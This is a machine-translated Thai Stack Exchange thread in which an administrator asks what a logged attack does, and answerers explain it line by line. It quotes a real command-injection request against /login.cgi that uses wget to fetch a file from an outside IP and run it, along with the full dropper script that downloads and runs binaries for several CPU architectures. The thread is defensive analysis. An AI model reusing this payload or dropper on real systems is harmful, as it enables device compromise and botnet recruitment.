สคริปต์ทุบตีนี้ทำอะไร? [พยายามแฮ็ก]


30

ฉันสังเกตเห็นเซิร์ฟเวอร์ของ apache บันทึกเมื่อไม่นานมานี้มีสายแปลก ๆ ดังต่อไปนี้:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

ดังนั้นฉันจึงสร้างตัวกรอง Fail2Ban ที่กำหนดเองและเริ่มแบนไอพีที่ร้องขอ URL /login.cgi เหล่านี้

แต่ฉันอยากรู้ว่าพวกเขาพยายามทำอะไรดังนั้นฉันจึงดึงสคริปต์ที่พวกเขาพยายามจะดำเนินการและฉันไม่สามารถเข้าใจได้ว่ามันทำอะไร มีบางอย่างเกี่ยวกับการลบโฟลเดอร์ arch ใน / var และ / tmp ใช่ไหม

อย่างไรก็ตามนี่คือ:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done

4
ช่องโหว่ที่เกี่ยวข้อง: twitter.com/txalin/status/1007625620090707974?lang=en
user2064000

1
สคริปต์นั้นติดตั้งบนเซิร์ฟเวอร์ของคุณตั้งแต่แรกอย่างไร
MrWhite

3
ฉันเพิ่งเปิดไฟล์. sh ในเบราว์เซอร์บนพีซีที่บ้านของฉันแล้วคัดลอกแล้ววางลงที่นี่มันไม่เคยมีอยู่บนเซิร์ฟเวอร์ของฉัน
ndom91

1
สคริปต์นี้เป็น 'หยด' ซึ่งใช้เพื่อดาวน์โหลดสคริปต์หาประโยชน์จริง นี้จะอยู่ที่ hxxp://80.211.173.159:80/$name ที่ไหน $name เป็นสถาปัตยกรรมซีพียูแต่ละตัวใน bin_names. ดังนั้นสคริปต์โจมตี 7 รายการจะถูกดาวน์โหลดและดำเนินการ
BlueCacti

คำตอบ:


42

ทีละบรรทัด:

#!/bin/sh

จัดตั้ง sh หอยใดที่เป็นเช่นเดียวกับเส้น shebang sh%20/tmp/ks ในคำขอจะแทนที่สิ่งนี้ดังนั้นบรรทัดนี้จะถือว่าเป็นความคิดเห็นปกติและถูกละเว้น

u="asgknskjdgn"

ประกาศชื่อตามอำเภอใจอาจหลีกเลี่ยงการชนกับชื่อไฟล์อื่น ฉันไม่แน่ใจว่าทำไมพวกเขาถึงไม่ใช้ mktempแต่อาจไม่พร้อมใช้งานบนแพลตฟอร์มทั้งหมด

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

ระบุสถาปัตยกรรม CPU ทั่วไปหลายตัว

http_server="80.211.173.159"
http_port=80

เซิร์ฟเวอร์ที่มีช่องโหว่

cd /tmp/||cd /var/

พยายามเปลี่ยนไดเรกทอรีไปที่เว็บเซิร์ฟเวอร์ของคุณน่าจะสามารถสร้างไฟล์ได้ ฉันเชื่อว่า SELinux จะช่วยในเรื่องนี้โดยการบังคับใช้กฎที่เข้มงวดมากขึ้นเกี่ยวกับสิ่งที่เว็บเซิร์ฟเวอร์สามารถทำได้มากกว่าที่ระบบไฟล์ทำได้ด้วยตัวเอง

for name in $bin_names
    do

สำหรับแต่ละสถาปัตยกรรม CPU ...

    rm -rf $u

ลบโปรแกรมที่พยายามใช้ประโยชน์ก่อนหน้านี้ออก ไม่จำเป็นเนื่องจากบรรทัดถัดไปดังนั้นสามารถถูกละเว้นได้

    cp $SHELL $u

คัดลอกเปลือกปฏิบัติการปัจจุบัน ( /bin/sh ) สามารถถูกละเว้นเนื่องจากบรรทัดถัดไป

    chmod 777 $u

ทำให้ทุกคนสามารถเข้าถึงไฟล์ใหม่ได้อย่างสมบูรณ์ นี้ควรได้รับหลังจาก wget คำสั่งซึ่งเป็นทั้งสัญลักษณ์ของ shell scripting newbie หรือเทคนิค misdirection

    >$u

ล้างไฟล์ออก ไม่มีจุดหมายเพราะบรรทัดถัดไป

    wget http://$http_server:$http_port/$name -O -> $u

เขียนทับไฟล์ด้วยสคริปต์ exploit สำหรับสถาปัตยกรรมนี้ -O -> $u สามารถเขียนได้ -O - > $u (เครื่องหมายขีดคั่นระบุว่าการดาวน์โหลดควรเขียนลงในเอาต์พุตมาตรฐาน) ซึ่งเทียบเท่ากับ -O $u.

    ./$u $name

รันสคริปต์ exploit ด้วยสถาปัตยกรรมเป็นอาร์กิวเมนต์แรก

done

จบการวนซ้ำ

ดูเหมือนว่านี่เป็นสคริปต์พยายามเอาเปรียบเล็กน้อยพยายามทดลองหาช่องโหว่ที่รู้จักกับแพลตฟอร์ม CPU ต่างๆ ฉันไม่รู้ว่าทำไมมันถึงเขียนทับ $u สามครั้ง แต่การดำเนินการเหล่านั้นอาจยังคงอยู่จากการทำซ้ำสคริปต์ก่อนหน้านี้ สันนิษฐานว่าเวอร์ชั่นก่อนหน้านี้มีการใช้ประโยชน์จากฮาร์ดโค้ดมากกว่าการให้บริการแบบไดนามิก - อดีตนั้นง่ายกว่า แต่เกือบจะรับประกันได้ว่าสคริปต์จะมีประสิทธิภาพน้อยลงเมื่อเวลาผ่านไปเนื่องจากมีการแก้ไขข้อบกพร่อง


21
มีข้อได้เปรียบในการกำหนดไฟล์อย่างชัดเจน หากปลายทางมีอยู่แล้วและกำลังดำเนินการในขณะนี้เคอร์เนลจะไม่อนุญาตให้คุณเปิดไฟล์สำหรับการเขียน (-ETXTBSY) อย่างไรก็ตามอนุญาตให้เปลี่ยนชื่อหรือลบโปรแกรมที่ทำงานอยู่ได้
grawity

อะไร -> ใน wget สั่งทำอย่างไร ทำไมไม่เพียงแค่ wget ... -O $u?
RonJohn

1
@ RonJohn อ่านมันเป็น - >
cat

5
กับ -O->filename, filename ไม่แสดงในผลลัพธ์ของ ป. ล. ขวาน . นั่นอาจเป็นข้อได้เปรียบในการแก้ไขข้อบกพร่องให้หนักขึ้น
pts

1
cp ให้ไฟล์ที่ปฏิบัติการได้ อาจเป็นประโยชน์ถ้า chmod ล้มเหลว? แก้ไข: ระบุว่า เด่นชัด เราเตอร์เป้าหมายนี้มันเป็นไปได้มากที่ chmod ไม่มีตัวตน
Bob

12

wget เป็นสายอันตรายที่สำคัญ

for name in $bin_names กำลังทำงานผ่านรายการของแพลตฟอร์มและสำหรับแต่ละแพลตฟอร์มมันเป็นการล้างไดเรกทอรีชั่วคราวคัดลอกเชลล์ไปแล้วทำให้ทุกคนสามารถเข้าถึงได้

จากนั้นดาวน์โหลดไฟล์โดยใช้ wget จากนั้นเรียกใช้งานโดยใช้โปรแกรมเชลล์ที่เพิ่งคัดลอกมา

สคริปต์กำลังพยายามดาวน์โหลดชุดของไฟล์เรียกทำงานหรือสคริปต์สำหรับทุกแพลตฟอร์มที่สามารถและถูกับระบบของคุณโดยหวังว่าจะทำให้ระบบของคุณเสียหาย


6
ถู == กำลังทำงานอยู่หรือไม่
Barmar

5
@Barar ฉันแน่ใจว่ามีเจตนา: P
Canadian Luke
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.